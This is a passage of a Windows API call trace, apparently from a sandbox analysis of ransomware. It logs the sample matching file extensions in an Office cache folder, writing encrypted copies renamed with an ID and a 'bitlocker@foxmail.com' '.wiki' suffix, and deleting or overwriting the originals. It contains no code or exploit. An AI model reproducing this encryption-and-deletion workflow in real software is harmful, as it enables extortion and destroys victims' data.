lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString=".zip") returned 4 [0055.513] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString=".rar") returned 4 [0055.513] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.514] lstrlenW (lpString=".bz2") returned 4 [0055.514] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.514] lstrlenW (lpString=".7z") returned 3 [0055.514] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.514] lstrlenW (lpString=".dbf") returned 4 [0055.514] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.514] lstrlenW (lpString=".1cd") returned 4 [0055.514] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.514] lstrlenW (lpString=".jpg") returned 4 [0055.514] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.514] lstrcmpiW (lpString1=".xrm-ms", lpString2=".wiki") returned 1 [0055.514] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0055.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.514] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=715834) returned 1 [0055.514] CloseHandle (hObject=0x214) returned 1 [0055.514] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0055.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.515] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.515] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.515] GetLastError () returned 0x0 [0055.515] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0055.530] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0055.749] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.749] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x104, lpOverlapped=0x0) returned 1 [0055.750] SetEndOfFile (hFile=0x1e0) returned 1 [0055.750] CloseHandle (hObject=0x1e0) returned 1 [0056.046] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.046] SetEndOfFile (hFile=0x214) returned 1 [0056.217] CloseHandle (hObject=0x214) returned 1 [0056.217] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0056.218] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0056.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.437] lstrlenW (lpString=".doc") returned 4 [0056.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0056.437] lstrlenW (lpString=".docx") returned 5 [0056.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0056.437] lstrlenW (lpString=".pdf") returned 4 [0056.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0056.437] lstrlenW (lpString=".xls") returned 4 [0056.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".xlsx") returned 5 [0056.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0056.438] lstrlenW (lpString=".ppt") returned 4 [0056.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString=".zip") returned 4 [0056.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".rar") returned 4 [0056.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".bz2") returned 4 [0056.438] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".7z") returned 3 [0056.438] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString=".dbf") returned 4 [0056.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString=".1cd") returned 4 [0056.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString=".jpg") returned 4 [0056.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.438] lstrlenW (lpString=".doc") returned 4 [0056.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".docx") returned 5 [0056.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0056.438] lstrlenW (lpString=".pdf") returned 4 [0056.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".xls") returned 4 [0056.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0056.438] lstrlenW (lpString=".xlsx") returned 5 [0056.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0056.439] lstrlenW (lpString=".ppt") returned 4 [0056.439] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.439] lstrlenW (lpString=".zip") returned 4 [0056.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString=".rar") returned 4 [0056.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString=".bz2") returned 4 [0056.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString=".7z") returned 3 [0056.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0056.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.439] lstrlenW (lpString=".dbf") returned 4 [0056.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.439] lstrlenW (lpString=".1cd") returned 4 [0056.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0056.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.439] lstrlenW (lpString=".jpg") returned 4 [0056.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0056.439] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0056.439] lstrlenW (lpString="Office32WW.msi") returned 14 [0056.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.440] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1992192) returned 1 [0056.440] CloseHandle (hObject=0x18c) returned 1 [0056.440] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0056.440] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.440] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0056.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.506] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0056.506] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.506] ReadFile (in: hFile=0x18c, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.508] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.510] ReadFile (in: hFile=0x18c, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.513] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.513] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.513] ReadFile (in: hFile=0x18c, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.530] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.530] WriteFile (in: hFile=0x18c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0057.065] SetEndOfFile (hFile=0x18c) returned 1 [0057.065] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40e5008 [0057.069] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.069] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.070] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.070] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.072] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0057.072] WriteFile (in: hFile=0x18c, lpBuffer=0x40e5008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.074] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40e5008 | out: hHeap=0x6c0000) returned 1 [0057.074] CloseHandle (hObject=0x18c) returned 1 [0057.074] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0057.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.074] lstrlenW (lpString=".doc") returned 4 [0057.074] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.074] lstrlenW (lpString=".docx") returned 5 [0057.075] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0057.075] lstrlenW (lpString=".pdf") returned 4 [0057.075] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.075] lstrlenW (lpString=".xls") returned 4 [0057.075] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.075] lstrlenW (lpString=".xlsx") returned 5 [0057.075] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0057.075] lstrlenW (lpString=".ppt") returned 4 [0057.075] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString=".zip") returned 4 [0057.075] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.075] lstrlenW (lpString=".rar") returned 4 [0057.075] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.075] lstrlenW (lpString=".bz2") returned 4 [0057.075] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.075] lstrlenW (lpString=".7z") returned 3 [0057.075] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString=".dbf") returned 4 [0057.075] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString=".1cd") returned 4 [0057.075] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString=".jpg") returned 4 [0057.075] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.075] lstrlenW (lpString=".doc") returned 4 [0057.075] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.075] lstrlenW (lpString=".docx") returned 5 [0057.075] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0057.075] lstrlenW (lpString=".pdf") returned 4 [0057.076] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.076] lstrlenW (lpString=".xls") returned 4 [0057.076] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.076] lstrlenW (lpString=".xlsx") returned 5 [0057.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0057.076] lstrlenW (lpString=".ppt") returned 4 [0057.076] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.076] lstrlenW (lpString=".zip") returned 4 [0057.076] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.076] lstrlenW (lpString=".rar") returned 4 [0057.076] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.076] lstrlenW (lpString=".bz2") returned 4 [0057.076] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.076] lstrlenW (lpString=".7z") returned 3 [0057.076] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.076] lstrlenW (lpString=".dbf") returned 4 [0057.076] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.076] lstrlenW (lpString=".1cd") returned 4 [0057.076] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0057.076] lstrlenW (lpString=".jpg") returned 4 [0057.076] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.076] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0057.076] lstrlenW (lpString="ose.exe") returned 7 [0057.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.077] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=174440) returned 1 [0057.077] CloseHandle (hObject=0x18c) returned 1 [0057.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0057.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0057.077] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.077] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.077] GetLastError () returned 0x0 [0057.077] ReadFile (in: hFile=0x18c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0057.082] WriteFile (in: hFile=0x168, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0057.085] ReadFile (in: hFile=0x18c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.085] WriteFile (in: hFile=0x168, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0057.085] SetEndOfFile (hFile=0x168) returned 1 [0057.085] CloseHandle (hObject=0x168) returned 1 [0057.085] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.086] SetEndOfFile (hFile=0x18c) returned 1 [0057.087] CloseHandle (hObject=0x18c) returned 1 [0057.087] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0057.087] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0057.088] lstrlenW (lpString=".doc") returned 4 [0057.088] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.088] lstrlenW (lpString=".docx") returned 5 [0057.088] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.088] lstrlenW (lpString=".pdf") returned 4 [0057.088] lstrcmpiW (lpString1=".pdf", 